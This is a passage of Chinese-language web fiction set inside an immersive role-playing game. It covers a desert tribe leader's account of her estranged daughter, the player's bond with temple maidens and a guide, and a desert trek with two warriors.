“或许做母亲的都会觉得自己的孩子好,曾经的我也不例外。那一年的七月节,他们四个人脱颖而出,普尔伽什、班哈杜、达尔勒穆还有我的女儿钦黛尔,他们从小就是亲密的伙伴,也是族里这一代人中最耀眼的天才。从前也有人用这两字称赞我,但我却是在他们身上第一次看明白,何为‘天才’。班哈杜和达尔勒穆都是优秀的战士,普尔伽什血中的力量,几乎达到了数百年来最强的程度。至于钦黛尔,她在力量上虽稍逊于普尔伽什,但她只是在神殿侍奉,就顿悟破译了沙民的先祖自古流传下来的预言,所有人都为之惊叹。”
“沙民的领袖一直都是女性,我知道,我要从钦黛尔和普尔伽什中选出一个,将来继承我的衣钵。我是一个母亲,我当然会有私心,我忍不住偏爱我的女儿,很长的时间里,我都不自觉地向着她更适合的方向去引导她们。”
“我的女儿,骄傲、果敢、自信,她是我血脉的延续,继承了我的信仰和志向,在一个母亲眼里没有比她更好的人了。”
“但我还是沙民一族的首领,我知道作为一个首领,比起她拥有的一切,更重要的是坚定和忍耐。当我意识到这一点,我就只能从母亲的身份中跳脱出来,不能再用从前全然的包容和关爱去看待她了。”
“当时我以为我醒悟得还不算晚,很快宣布了普尔伽什就是我选定的继承人,而钦黛尔会成为祭司,她们二人相互扶持,一定能让沙民一族走得更远。”
“宣布的那一天,我知道钦黛尔有多失望,她来质问我,为什么在全城人面前给她难堪,她一直以为她才是继承人。”
“她是我的孩子,她的骄傲也像我,有最远大的志向,要成为我们一族的首领。但我没办法再对她说一声好了,普尔伽什是比她更合适的人选,我不能只做她的母亲。”
“钦黛尔听完我的话,很快变得沉默下来,终日守在神殿里闭门不出。我便把更多的精力花在教导普尔伽什上,希望弥补我之前的过失。普尔伽什还年轻,她可以走的路一定比我更远,我要教她的东西太多了,就像我说的那样,她比钦黛尔更合适,一步一个脚印地渐渐成长起来了。”
“我以为一切都会顺利,但钦黛尔,她终究是太骄傲了。”
“她借身为祭司的职务之便,从神殿供奉的圣物上取下一块,和自己的血融合在了一起。没有人知道她是怎么做到的,在此之前,所有胆敢亵渎神威的人都死得格外凄惨。”
“我见到她时,她七窍流血,浑身抽搐着躺在地上,几乎不成人形。我的心刀割似的痛,我问她,你知错了吗?”
说到这里,瓦萨达蒂停顿了很久,像是在回忆着什么,脸上流露出不忍之色:“她吐了一口血,却咬牙说自己没错。她说她比普尔伽什更优秀,我不该选普尔伽什而不选她。”
“偷窃圣物是死罪,会给整个风沙城招来灾祸,她犯了这样的错,我就要亲自处决我的女儿。”
“普尔伽什、班哈杜和达尔勒穆都来求情,他们四个人从小玩在一块,感情格外好,普尔伽什那孩子,从来不曾记恨我对钦黛尔的偏爱,她跪在我脚边恳求我,留钦黛尔一条命。”
“那时我们都以为,钦黛尔活不了多久了,妄图融合圣物的人,都没有好下场,他们只是劝我让钦黛尔在最后的时光得到安宁,但我不能。融合圣物的反噬和族内的惩处,从来就不是一回事。”
“谁知处决的前一晚,钦黛尔逃了。我感应着她的方位,一路去追寻,最终在迷惘沙漠的边界追上了她。我问她,还记不记得沙民为什么不能离开迷惘沙漠,难道她想要背弃自己的信仰?”
“她却说她经受祂神荣光的照耀后得到了启迪,她要离开,不是要背弃信仰,而是要去找她信仰真正能够生存的土壤。”
“我恳求她也好,规劝她也好,她一个字也听不进去。而我,不仅是她的母亲,还是沙民一族的瓦萨
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达蒂,我不能对她留情。”
“但她还是逃走了,穿过了迷惘沙漠的边界,逃到了我们的力量无法发挥作用的陌生地方,我再也没办法感应到她了。”
“我永远为自己的错误感到悔恨,如果我不曾期待钦黛尔成为我的继承人、不对她抱有过多偏爱和不忍,她或许不会走到今天这一步。”
“但她既然已经走到了这一步,我便再也不能犹豫摇摆,她的错,不可原谅。”
“圣物被放在神殿,千百年来一直守卫着风沙城。但圣物被破坏后,风沙城迎来了一场巨大的沙暴,族人一度以为我们再也见不到太阳了。”
“但好在一切都撑过来了,我忙着安抚族人,修复被破坏的建筑和土地,很长一段时间,我的忙碌甚至让我忘记了去想钦黛尔,我逃离故乡的女儿。”
“她在外面过了五年,突然有一天又回到了风沙城。我还记得五年前的沙暴中死去的族人,我问她,是否知错了。”
“她却顾左右而言她,说自己有了孩子,她融合圣物又活下来是蒙受了祂的神恩,前往外界也是因为受到了祂神的指引,而她肚子里的孩子,就是预言中未来的神使引路人。”
“她有那样多理由,几乎说服了大半的族人。他们都是看着钦黛尔长大的,而钦黛尔活下来的事实又不容置疑,他们很自然地接受了。”
“只有我感到失望,我不知道这五年里她身上发生了什么,令她改变得如此彻底。我对着她陌生的面容,最后一次告诉她,普尔伽什才是我选定的继承人。她的一切错误,都有我这个母亲的责任,而我放走了她,这是我对族人的罪责。她可以说服所有人让她留下,但唯独说服不了我,我应该永远活在忏悔之中。”
“她回来之后,不能再做祭司,但过得也不错,可时间长了,她所说的预言却看不到应召的那一天。行走在谎言之上的人,可以骗过所有人,却唯独无法骗过自己。她越发焦躁,越发执迷,连自己生下的孩子都不顾了。绿色之心丢失了,族人个个哀凄,她却站出来说这正是预言显现的前兆,便把那孩子丢到沙漠里去了。”
“那孩子只是混血,我甚至不能确定他是否能在沙漠中生存,她却丝毫不顾及。太阳落山了,那孩子也没有回来,我发动族人要去找他,钦黛尔却不肯,她说外人的干涉只会破坏一切,让原本属于沙民一族的希望彻底破灭。”
“族人们将信将疑,本来说定如果第三天那孩子还没回来,就要去找他,但幸好,他带着您一起回来了。”
“再后来的事情,您都知道了。”瓦萨达蒂垂着头,她佝偻着背,身上有着肉眼可见的疲倦和老态。
你感慨万分,想起来上次在对面的土墙上找到的、曾属于钦黛尔的绳结,那其中蕴藏的,或许就是一段少年时期的记忆吧。
谁能想到,看似疯疯癫癫的钦黛尔背后,藏着这样曲折的过往。
瓦萨达蒂像是看懂了你的情绪,露出一个温和的笑容,反过来安慰你:“这些事情,您不必挂怀,我这个老人念念不忘,不过是因为身在其中罢了。”
你感受到了她话中的关切,拿起小壶,往瓦萨达蒂面前的茶杯里斟满。
在这种无言的默契中对坐着喝完一杯茶,瓦萨达蒂又告诉你,出发的日子快到了,建议你在出发之前最好跟着族里的战士们熟悉一番沙漠的生活。
“只有您真正学习过了,这一切才会成为您的力量,在未来的某一天发挥作用。”瓦萨达蒂如是说道。
你答应了下来。
瓦萨达蒂的建议确实很实用,你对沙漠里的一切都一无所知,与其将出发前的几天浪费在神殿里,不如跟着沙民外出探查一番。
21. 柔软
从瓦萨达蒂的住处出来,你发觉自己正站在上次埃尔维斯站过的地方,看着对面挂满了绳结的土墙,想起自己曾在对面观察这里,此时位置对调,不由有些好笑。
你翘着嘴角走回来神殿,一路上没有遇到太多人,来回巡逻的卫士依旧为你“侧目”。
大殿内依旧空旷,悬挂的围幔洁白如新,此刻正是正午,大殿内不燃蜡烛也格外明亮。你打量了一圈,没什么值得注意的东西。
走到埃尔维斯的房间门口,你特意停下听了一会儿,里面很安静,没有一点儿声响。
你猜想埃尔维斯此刻是否在无声地落泪,但你无法再进一步做些什么。
尤其在了解了埃尔维斯和钦黛尔的经历之后,他们之间的事情,除了钦黛尔本人,谁也无法打开这个结。
毕竟连瓦萨达蒂都无能为力啊……
你突然觉得肩膀发沉,长长地叹了一口气。
这一刻你觉得自己是个彻底的外来者,明明找到了自己一直在寻找的背后真相,但结果只是意识到了自己的无力而已。
你有时会讨厌自己这一点,感情上太敏锐,而行动上太迟钝,无法自洽,只能内耗。
要是我再聪明一些会不会有别的办法呢?
你这样想着
看着任务节目显示未完成的栏目框,你最终推开门走进自己的房间,开始打坐提升技能熟练度。
至少还有能为他们做的事。
没多久佩莉姆和加米拉姐妹便敲响了你的门,她们端着午饭来了。
不出意料是肉干,你对食物没什么抱怨,双胞胎姐妹每次带来的口味都不同,在放进嘴里之前都猜测着可能尝到的味道也不失为一种乐趣。
你尝了一口,默默灌了一大口水。
太辣了。
系统比你更不在意口味,不管是什么味道,代表饥饿度的状态条都会回升一点。
双胞胎姐妹就坐在一边,她们虽然遵从你的意愿,不再侍奉你吃饭,但还是不会离开,只坐在一旁默默等你吃完。为此,你不得不每次都假装进食,幸好游戏里不会吃撑。
你又灌了一大口水,很随意地找了个话题,同两姐妹聊起来:“你们从小就生活在神殿,对吗?”
佩莉姆对你的提问很有兴趣,很开心地主动说起两姐妹的经历:“在我们生下来之前,祭司大人就预言了我们的到来。她告诉我们的父母,我们天生就是为神殿的职责而生的。我们长到一岁,就来到了这里侍奉在祂的神廷之中,祭祀大人把我们抚养到十二岁的时候,将我们两姐妹叫到跟前,告诉我们,我们俩已经可以独当一面了。”
“从那之后,我们姐妹每天都在很努力很虔诚地祈祷,现在神使大人来到了这里,我们的努力果然没有白费!”
加米拉也弯着双眼,但是她的笑容比起佩莉姆更加内敛和羞涩。两个人都笑盈盈的望着你,眼中分明写满了对你的肯定的期待。
本来你只是想找一个话题,好让自己不吃东西的行为显得不那么刻意,但听到这里,你却心中发涩。
两姐妹年龄比你还小,想到她们每天过着这样单调的生活还能自得其乐,你那惯性般怜爱其他人的毛病又犯了。
你毫不吝啬地夸奖她们:“我都看到了,你们真的非常非常努力,加米拉把教义记得倒背如流,佩莉姆每天早起祈祷,还不忘特意来教我。”
你总结道:“我可以证明,你们真的非常虔诚!”
你确实是这样认为的,现在不过是将看到的一切说出来而已。
但佩莉姆和加米拉两姐妹却显得很高兴,他们激动到眼睛里都闪烁着泪花,膝行着上前分别抱住你的两条小腿,又枕在你的膝盖上,格外亲昵。
你觉得自己就像遇到两只小狗狗,忍不住摸了摸她们的头发,发觉手感很柔顺,又悄悄多摸了两下。
佩莉姆呜咽着开口:“上次钦黛尔来……”
“诶!”加米拉脸上虽然也很动容,却拉了拉佩莉姆的袍角,阻止她继续说下去。
两姐妹转头对视了一眼,佩莉姆又埋起头,不再说话了。
“好啦好啦。”你揉了揉佩莉姆的脑袋,哄她,“没事的,想说什么都可以,现在只有我们三个人。”
“上次钦黛尔姐姐说我们不虔诚,我们都没有机会为自己辩解,我担心了好久,好怕您会相信钦黛尔姐姐说的话。”佩莉姆的眼睛水汪汪的,耳朵上的宝石耳坠也跟着她的动作晃啊晃。
“不会的。”你干脆左右各揽住一个人,拍拍她们的肩膀,安慰道,“我不会一听别人说什么就立马相信的,跟你们相处过的是我啊,我怎么会不相信你们反而相信钦黛尔呢?”
两姐妹听了你的话,这才释怀。
也许是气氛太融洽了,你不自觉就问出口:“你们在这里生活了十多年,不会觉得寂寞吗?”
“不会啊!”佩莉姆很惊讶,“我们每天都有很多要做的事情,祈祷、念诵教义、清洁神殿、擦拭圣物……我们每天都过得很充实!”
“不。”你小心翼翼地问道,“今天我在瓦萨达蒂的讲经会上见到了很多年轻的女孩子,跟你们一般大的女孩子可以去自己想去的任何地方,你们却只能留在这里,不会觉得寂寞吗?”
“怎么会!”加米拉笑起来很甜美,听完你的问题之后眼睛里也闪烁起温柔的光,“教义中说‘祂无处不在,祂包容万物,祂不可想象,圣物即是祂人间的耳朵。’我们虽然离开了父母,但却来到了离祂最近的地方,这本身就是一种荣耀。我们每天祈祷,并不是为了完成任务,或者是为了我们自己,我们为的是外面的亲人和所有的族人。我和佩莉姆每天都要专门祈祷祝愿族人们身体健康,如果有人生病了,他们从神殿外递进来羊皮卷,我们就替他们将心愿传达给祂,直到生病的人好起来。如果我们的祈祷能够被祂听见从而实现心愿,哪怕只有一声,我们也会一直一直祈祷下去。”
“更何况……”她侧头看了一眼你身边的佩莉姆,笑着说,“我们还有彼此啊。”
“虽然是个笨蛋姐姐,还总要我这个妹妹照顾,但是我也勉强可以接受啦!”
“什么叫做笨蛋姐姐!”佩莉姆双手搭在加米拉肩膀上,用力地摇晃起来。
加米拉任由她动作,看着你温柔道:“总之,我并不讨厌这样的生活。”
“更何况现在您来了,我们的生活每天都充满期待,就好像长久以来的努力终于可以看到明确的结局了。”
“嗯嗯嗯!”佩莉姆用力地点头附和,“这笨蛋妹妹说的没错!”
你越发觉得心中酸涩,握住她们挽着你的手,道:“还有什么是我可以为你们做的吗?”
“这……”
两姐妹沉吟了一会儿,最终佩莉姆双手托腮,脸上充满期待道:“我们一直在神殿里,从
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来没出去过,每年的七月节都没机会参加,只能听祭司大人转述。”
“你们想参加七月节?”你猜测道。
“不。”两姐妹对视一笑,眼神中却多了一丝哀伤,“七月节是雨季之前的节日,每年的七月是全年唯一有降水的时间,在沙漠里生活,水太珍贵了,因此人们才会在雨季到来之前热烈庆祝。但风沙城的雨季是因为绿色之心才会存在的,绿色之心被抢走了,今年的七月节不知道还有没有机会如期举行。”
佩莉姆握住你的手,加米拉的手也附上来:“我真的非常非常感激您的到来,请您一定要把绿色之心带回来,即便我们永远没有机会参加七月节,一想到族人们可以开心的庆祝雨季的到来,我们也发自内心的感到高兴。”
“我会的。”你用力地回握,“我一定会把绿色之心带回风沙城的。”
到了下午,普尔伽什来神殿找你时,两姐妹正陪你玩成一团。你找了根绳子,教她们翻花绳,加米拉学得格外快,到后来就是你和她一起在教佩莉姆了。
“这样……这样……再……”佩莉姆的手指在绳子之中犹犹豫豫地穿梭,口中不确定地念着。
“你们在做什么?”普尔伽什走近了问道。
“祭司大人。”两姐妹向普尔伽什行过礼,想要回答,却被你抢先了:“我在教佩莉姆和加米拉怎么锻炼自己的手指。”
说完你还示范了一下:“有利于手指的灵活。”
普尔伽什沉默地望着你很久,直到加米拉忍不住扑哧一声笑了出来,才重新开口道:“班哈杜和达尔勒穆在外面等您了。”
“好的。”你表现得毫不在意方才的尴尬,从容地点点头。
“佩莉姆和加米拉也跟您一起去。”她看了一眼两姐妹,又补充道。
“什么!”你们三个人同时惊叹道。
“你们不愿意吗?”普尔伽什皱起了眉。
“可是她们不是不能出神殿吗?”你问道。
对着你的普尔伽什不再板着脸,但说出的话依旧硬邦邦的:“现在,照顾好您才是她们的职责。”
“还有一个问题。”你举手示意,“去的地方会有危险吗?”
普尔伽什又皱了皱眉,道:“不会,班哈杜和达尔勒穆是族中最优秀的战士,有他们在,不会有危险的。”
“好的!”
等普尔伽什走了,两姐妹扑过来拥抱你,大声尖叫起来。
“停停停!”你打断她们的欢呼,“哼哼,不是不想出去吗,现在又这么开心?”
“这……”
佩莉姆不知道怎么组织措辞,加米拉立刻补充道:“我们知道您刚刚的提问都是为我们着想,有如此令人敬爱的神使大人,我们一定会寸步不离地照顾好您!”
“你啊!”你扑过去挠加米拉痒痒,“刚才怎么不这么机灵,还笑我!我不是为了帮你们解围吗!”
佩莉姆摸摸脖子,笑道:“其实祭司大人很疼爱我们的,在她面前玩耍也不要紧,倒是大人您,为什么见到普尔伽什大人会那么紧张?”
你叹一口气:“总觉得普尔伽什很严肃,不自觉就紧张起来了。”
加米拉替你整理打闹时弄乱的衣物,抬头温柔道:“普尔伽什大人只是表现得比较古板而已,其实她内心是个柔软的好人,就像大人您一样。”
柔软的好人?
是这样吗?
22. 约定的未来
午间的天气格外酷热,太阳烤得人浑身发焦,在神殿周围这样没有遮蔽物的地方等人,最后往往会变成对等待者意志力的考验。
但班哈杜和达尔勒穆都一动不动,他们身上还披着十几斤重的铠甲,两个人隔了两步的距离,朝着一个方向站定了,彼此都不说话。
普尔伽什走出来时,他们之间凝滞的气氛才重新开始流动起来。
三个人互相打过招呼,普尔伽什道:“佩莉姆和加米拉也会跟着神使大人去,劳烦你们看顾。”
达尔勒穆沉默地点点头,表示答应了。班哈杜却皱着眉,道:“你知道的普尔伽什,我们的责任在于神使大人,如果遇到危险,我只能优先挡在神使大人身前。”
说完,他又道:“你不该让她们离开神殿的。”
普尔伽什叹了一口气:“她们离开期间,我会看顾好神殿的,如果出了事情我一力承担。她们也只是年轻女孩子而已,等过了七月节,或许她们就再也没机会了。”
这样的理由不能打动班哈杜,他道:“你知道现在正是关键的时刻,就不应该纵容她们,如果真的出了问题,恐怕你也挽救不了。神殿外面的世界,是有危险的。”
普尔伽什抬头看他,也皱起眉,毫不相让:“她们的工作也是有危险的,而且每天都在发生,她们只是两个年轻女孩子,却过着苦修一样的生活,这难道是应该的吗?不是我们这些长辈无能,才让后辈过上了这样的生活吗?为什么你不可以对她们有一点宽容呢!”
“但那就是职责!她们……”班哈杜正想要分辩,却被靠近过来的达尔勒穆用手肘捅了捅后腰。
他冲班哈杜摇摇头,示意他不要再说了。
班哈杜挪开一步,撇过头不看向他们之中的任何一个,却也不再多说了。
这样就是默许了。
但三个人依旧不欢而散。
就像他们后来的每一次相聚。
达尔勒穆想着,既然走上了不同的道路,渐行渐远大约是必然的结局吧。
——————
一直生活在神殿里的两姐妹听到普尔伽什的要求之后显然很兴奋,一向沉稳的加米拉也兴致勃勃,张罗着要带什么东西。
“食物、水囊、餐刀……还有什么是需要带的?”她看着自己收拾出来的大包裹犹豫了起来。
你扶额:“加米拉,不用带太多东西,我们有精简行李的必要,只带上水和食物就做够了。”
“是这样吗?”加米拉腼腆一笑,“抱歉,大人,我不自觉就准备了这么多。”
就在你们说笑的时候,埃尔维斯走了进来,两姐妹立刻安静下来,面面相觑之后告诉你她们会到大殿里等待你。
“好的,你们去吧。”你点点头。
两姐妹走后,你才将注意力放在埃尔维斯身上。
他皮肤苍白,一头黑色长发乱蓬蓬地披散在身后,双眼还泛着红,状态肉眼可见的糟糕。
你看见他喉结动了动,开口道:“谢谢您救了我,但埃尔维斯无以为报。”
他的声音沙哑,这句话也讲得很慢。
你以为他是来道别,便说:“你可以休息几天再回去,钦黛尔现在还在瓦萨达蒂那里。”
“不!”他突然跪倒在地,吓了你一跳,“我不会再回去了。”
“啊?”你不解。
“我……就是为您而存在的……”他说得很艰难,不知是嗓子不适,还是这话对他而言太过难以启齿。
“我的人生,只是为了等待您而存在的,我是您的引路人,您的仆从,我的一切都属于您,而我自己一无所有,所以我无法拿出别的东西报答您。”
“不是这样的,埃尔维斯。”你牵起他的手,把他拉起来道,“你在沙漠中为我引路,给我食物,让我从毫无头绪的寻找中解脱,你是我的朋友,你对我来说,很重要。”
“您……”他哽咽着,大颗泪珠砸在你手背上,带着一点点余温,“可我不配做您的朋友。”
“为什么呢?”你很有耐心,“因为你是沙民和异族的混血?因为你在风沙城是唯一的异教徒?还是因为你与众不同的身体?”
他的身体颤抖起来,想从你手心里挣脱开,但你用力扣紧他的手背:“不是这样的,埃尔维斯,成为朋友的条件中并没有‘配不配’这一条。我在沙漠中遇到的是你,将我同这一切联结起来的也是你,我很感激你,因缘际会之下,从交换名字的那一刻起,我们就是朋友了。”
“只因为和我经历这些的是你,仅此而已。你把自己当做‘仆人’,因为你自己看轻自己,但我不这样想,你所担忧的那些,从来就不是你的错,你只是没有选择的机会。但我看到的不是那些‘原罪’,我看到的只是站在我面前的你而已,埃尔维斯。”
他低低地埋着头,却不再试图从你手心挣脱了。
你再接再厉,把自己想告诉他的话都说出来:“神殿很奇怪是吧,不对沙民们自己开放,却对所有的外来人敞开,但沙民们认可这样的‘规则’,他们严格地遵守着,于是我这样的外来人来到风沙城,也有了一个栖身之所,因此我很感激他们这样的‘严格’。埃尔维斯你在沙民之中没有遇到一颗向你敞开的心,这并不是因为你有错,只是你没有遇到合适的时机,沙民们内敛而矜持,对他们的‘规则’来说,要接受你很难,可他们的‘规则’也默许了你的存在,你也有了神殿这样一个庇护所,因此你很难去恨这些‘规则’,我们总是难以释怀别人的坏,却也无法忽视别人的好,留给自己的就只有进退两难。”
“但我想说,如果你在风沙城经历了不好的事情,请你不要将这些不好的事都归因于自己,不要责怪自己,不是因为你有错才会遭遇那些,而是这些‘规则’本身就不适用于你,你不用去恨、也不用拼命想要融入其中,如果难以取舍,就放下这些沉重的‘规则’吧。”
“为什么不向着沙民之外的人群看看呢?比如我,比如你以后可以遇到的很多人,这世界其实很大,风沙城之外也有着宽广的天地,现在你无法离开迷惘沙漠,但我想不久的将来,一定会有机会的。你可以去外面,去没有人在意这些‘规则’和‘规则’强加给你的‘罪过’的地方,或许你可以到一个水草丰美的地方,尝试一下钓鱼?”
想起初见埃尔维斯的样子,你忽然就从小巨的思路之中挣脱了。
不需要别的证据来印证,那一定是未来,埃尔维斯所期待的未来。
你抬起头对他展露笑颜:“我已经见过了,你挣脱了一切枷锁的、自由自在的未来。”
我所做的一切,一定是有意义的。你无比坚定地这样告诉自己。
埃尔维斯泣不成声,不停地亲吻着你的手背:“那样的未来……就请您带我去看吧。”
你垂眸,看着系统界面不断弹出的好感度提升提示,第一次没有感到欣喜。
就
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在埃尔维斯开始感到慌张时,绿眸的妖精少女又抬起头坚定地同他对视:“好啊,我答应你!”
“我会跟随在您左右。”他低下头,在妖精少女的手背上印下宣誓忠诚的一吻。
看着系统弹出的选项,你选了“是”,便不再去看了。
我不再需要那些了,即使这只是一个、虚拟的朋友。
真正的朋友,是不需要好感度的增减提示的。
你看着眼前的埃尔维斯,这样告诉自己。
埃尔维斯表示希望跟着你和加米拉姐妹一起去,但你拒绝了:“埃尔维斯,现在的你很憔悴,好好休息吧,未来还有很长的时间。”
“好的,大人。”他棕色的眼睛里闪烁着你看不懂的光芒,但最终他低下了头,这样回应你。
——————
你走到大殿时没有看见双胞胎姐妹,心下奇怪,走出神殿一看,班哈杜正在同她们讲些什么。
走近了才听见,班哈杜在训斥两姐妹,他把加米拉打包的食物和水囊拿在手里:“你们为什么带这么多东西,食物也就罢了,水有多珍贵,难道你们不知道吗?在神殿里过了太久与世隔绝的神仙日子,连族人们是怎么生活的也忘记了吗?”
两姐妹眼眶通红,佩莉姆咬着唇开始抽泣,一向伶俐的加米拉也没有还口。
“班哈杜大人,您这样说未免太过分了。”你不畏惧他的冷脸,毫不顾忌地瞪回去,“她们确实没有在外面生活的经验,但这并不是您应该加以指责的,她们有自己的职责。更何况,这些东西不是她们自己需要才带上的,她们只是考虑到照顾我这个外来人,如果不需要那么多,放下一些就是了,何必这样说她们?”
“是啊。”名为达尔勒穆的高大男子出来打圆场,他试图开着玩笑转移话题,“小姑娘们,这些吃的和水,足够我们在外面过上一个月了,我们是去战斗,可不是去郊游!”
但很显然这个笑话很蹩脚,他自己也没能笑出来,虽然很努力地想表现得温和一些,他身上冷硬的气质却反而使得氛围更古怪了。
佩莉姆抽噎得更大声,终于委屈地哭了出来,不停地抹着脸上滚下来的泪珠。加米拉挽住她的肩膀,两人无声地依偎在一起。
班哈杜完全不理会达尔勒穆,扫她们一眼,不再多说,把目光转向了你,摇了摇手里的水囊,吐出来的话却还是又冷又硬:“外来人?哈!希望您有这样的自觉,我们的族人还挣扎在存亡的一线之间,外来人没资格这样骄奢!”
“班哈杜!”达尔勒穆喝止他,“对神使大人放尊重一些!”
“可尊重不是要求别人施舍的!”班哈杜的回应更加大声,脖子上的青筋暴起,“就算是所谓的神使大人,想要尊重,就自己赢来!”
“班哈杜大人说得对。”你轻描淡写地从他手里接过包裹,分出四分之三让双胞胎姐妹带回神殿放起来,“我不需要别人施舍的尊重,如何对待我,那是班哈杜大人的事情。”
其实你有些生气,你一向奉行的交往原则,就是别人怎么待你,你便怎样待别人,加米拉姐妹全然信任你,你也报以同样的支持,班哈杜上来就劈头盖脸地训斥你们,你就拿话噎他。
班哈杜果然哽了一下,火也发不出来了,他背着阳光,握起拳重重地砸在自己胸前的铠甲上向你行礼:“那么我将拭目以待,希望您早日赢得班哈杜的尊重。”
说完便大踏步转身走在前面。
23. 策略
太阳西移,五个小点在沙漠中排成一排,拖着长长的影子艰难地前进着。
班哈杜和达尔勒穆都是金发碧眼的高大男子,浑身肌肉,穿着一身沉重铠甲还走得很稳,他们一前一后,把你们三个人护在中间。
你紧跟在班哈杜身后,佩莉姆和加米拉姐妹已经全然没有了一开始的兴奋,她们把纱巾定在脑袋顶上,低着头踩着你的脚印艰难地跟上。
像是在赌气一样,佩莉姆出发之后就拒绝了班哈杜帮她拿行李。
“我可以做到,我们才不是高高在上目下无尘的人。”
她这样告诉班哈杜。
她确实也是这样做的,即便精疲力竭也绝不开口要求休息,加米拉背着沉重的水囊,紧紧跟在你身后,你甚至能听到她胸膛里呼哧呼哧的粗喘声,每当你以为这个瘦小的年轻姑娘要倒下了,她下一步还是会咬牙跟上。
“水囊给我。”你向后走了两步,朝着加米拉伸出手。
实在是太热了,沙民们都不怕热吗?
你觉得脸上发烫,浑身的皮都快晒脱了。
这么高的拟真度这合理吗?
不用看状态栏你也知道自己现在处境很糟糕,“炙热”的debuff已经叠了三层,现在全靠回血药撑着。
且不提把自己武装成移动铁塔的班哈杜和达尔勒穆,双胞胎姐妹看上去虽然很疲惫,也完全不在意这点热。
加米拉站着喘了几口气,才把水囊递给你,她浑身酸疼,这么小的动作做来也不流畅:“大人,您确实应该补充水分了。”
“嗯。”你没有多说什么,冲她点点头,把水囊背在自己身后就转身去撵班哈杜了。
你们相处的时间很短,但佩莉姆实在是个很好懂的姑娘,她天真善良,活泼到有些冒冒失失,但她同样也很倔强,不容旁人玷污自己的骄傲。
领会了你要水囊的用意,她三两步跑上前来,试图从你背上接下水囊:“不,大人,我和加米拉是来照顾您的,怎么能让您自己背这么重的东西?”
“我只是太热了,背着水囊会凉快一些。”你随便扯了个理由,佩莉姆会相信的,但你并不为自己利用她的信任胡扯愧疚,你只是想让她稍微轻松一点。
这是你的策略。
你拉住她的手,轻轻拍了拍:“去看看加米拉吧,她需要你。”
佩莉姆犹豫了一下,看了看身后跌跌撞撞脸色苍白的加米拉,最终还是答应了。
看着她向加米拉走去的背影,你微微一笑。
你埋头走着,班哈杜却慢下步子,缀在你身侧,他道:“您确实很为这两姐妹考虑。”
你累得很,不想仔细分辨他话中隐含之意,便没有理他,自顾自走着。
“但我要提醒您,现在才走到四分之一的路程,希望您能坚持到底。”
“当然。”你哼了一声,算是谢谢他的提醒。
就当你准备拉开距离结束话题的时候,班哈杜又跟上来,他的语速很快,像是在逼问你:“如果您想照顾这两姐妹,为什么不一开始就提出来由自己负重呢?”
他的态度让你不舒服,但你没有直接宣泄自己的情绪,只说:“可能在你看来佩莉姆只是个不懂事的小姑娘,但她有她的骄傲,我有我的策略,仅此而已。”
你的体力比两姐妹要更好,虽然有三层掉血的debuff,但你还有药,即便你在游戏里感到疲惫,短暂地休息后体力条就会很快地涨回来,综合来考虑,你来负重比加米拉更合适。
这是最合理的策略。
同时也能让佩莉姆感觉不那么糟糕。
班哈杜实在让你有烦闷,这一路上他确实尽职尽责,但言语上总是带着一丝火药味。
也不知道是冲着谁。
他对达尔勒穆讲话也是这样。
听完你的回答,班哈杜不知道为什么落后了两步,你发觉之后停下来,疑惑地转头望向他。
“咳。”不知道为什么他清了清嗓子,很快又跟上来走在你身侧。
“在沙漠里赶路不是件容易的事,你要注意自己的重心,观察脚下沙子的形态,遇到沙丘时,避开背风面松软的沙地,尽量在迎风面和沙脊上行走。注意辨别方向,太阳和月亮是可信的坐标,刚才我根据影子的移动判断方向,你看懂了吗?”
“啊?”你一头雾水,不解他为什么突然话这么多,却还是答道,“看懂了。”
“再其次,就是寻找水源和食物了。”他看了一眼你背后的水囊,“今天我们带了足够的水,后面遇到了我再教你。”
所以他说这么多,这是为了指点你?
“好的。”虽然你有系统地图在,用不着找方向,但你感受到了他释放出来的缓和讯号,还是向他道谢。
“你怕热?”他看了看你通红的面颊。
你只觉得自己快被烤干了,裸露在外的皮肤又痒又痛,“嗯”了一声算是回答他。
“回去之后记得找普尔伽什。”他扔下这样一句没头没尾的话就走了。
你看着班哈杜高大的背影,实在有些摸不着头脑。
这人的情绪实在有些反复无常,反倒是叫你不知道该用什么态度对他了。
系统界面的倒计时又过了二十多分钟,班哈杜停下来:“前面就到了休息的地方了,大致记一下风沙城走到这里用时时长。”
佩莉姆小小的欢呼了一声,靠在她肩膀上面色苍白的加米拉也肉眼可见地放松下来,恢复了一些活力。
好消息果然能给人带来动力,众人接下来赶路的速度比班哈杜预计的还要快。
休整的营地是两棵高大的乔木,这样的植物在迷惘沙漠是很少见的,你和双胞胎姐妹一开始也没有发觉,只是翻过了一座沙丘,它们就突兀地出现在眼前。
班哈杜说这是两棵绿金铁木,鉴定术的信息更详细,连树龄都一清二楚。这两棵树相距十米左右,主干笔挺,枝条粗大强劲,树梢挂着带有棘刺的小叶,虽不能提供荫庇,但这里罕见的绿色倒叫人眼前一亮。奇遇时间线里的六月正是它结果的时候,人走到树下抬头调整观察的角度,就能看到藏在叶间的果实。
班哈杜要求你们休息的时候不要太靠近树干:“绿金铁木的树皮和汁液都有毒,虽然不致命,但会很
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麻烦。”
“麻烦?”你不解。
班哈杜道:“如果不小心蹭在皮肤表面会让身体发麻,浑身无力,误食会更严重。”
你点点头表示了解,听起来似乎有点像麻醉药?
“不过果实倒是可以吃。”
班哈杜把武器解到一边,用头巾的两端缠在手掌上,攀上树干,两下就爬到了一个可以够到果实的树杈处。
看见班哈杜穿着沉重的盔甲还这么灵活,你心下不得不生出几分佩服。
“接着。”他采了几枚抛给双胞胎姐妹,自己直接跳了下来。
他拍拍手,站起身走过来,一点事也没有。
“但这果实只有七月节前夕才有,七月节过了就一个不剩了。”
“这是为什么呢?”佩莉姆好奇地发问。
“七月节一过,雨季就来了,大雨会让一切都改变的。”达尔勒穆很自然地接过话,目光望向树梢时竟有几分怀念。
他转向班哈杜,露出一个淡淡的笑容:“你身手还是这么灵活。”
班哈杜却冷下脸,直接转头走到树底闭目休息了。
场面一下子冷了,气氛也变得很古怪。
达尔勒穆也不尴尬,像是无所谓一般,接过佩莉姆递给他的果子就往远处走了。
双胞胎姐妹面面相觑,看了看达尔勒穆的背影,又看看你。
你摇摇头,不知道他们俩之间发生了什么,实在不好贸然开口劝,达尔勒穆看起来也不像冲动的人。
低头咬了一口果子,口感有点像枣,但没什么味道,体型也比枣大得多,大约有你大半个手掌长。
补充水分倒是不错。
你有些机械地啃完了手里的果实。
短暂的休息过后,你的状态已经恢复了不少,连疲惫感都消失得无影无踪。
幸亏是游戏啊。
你这样想着。
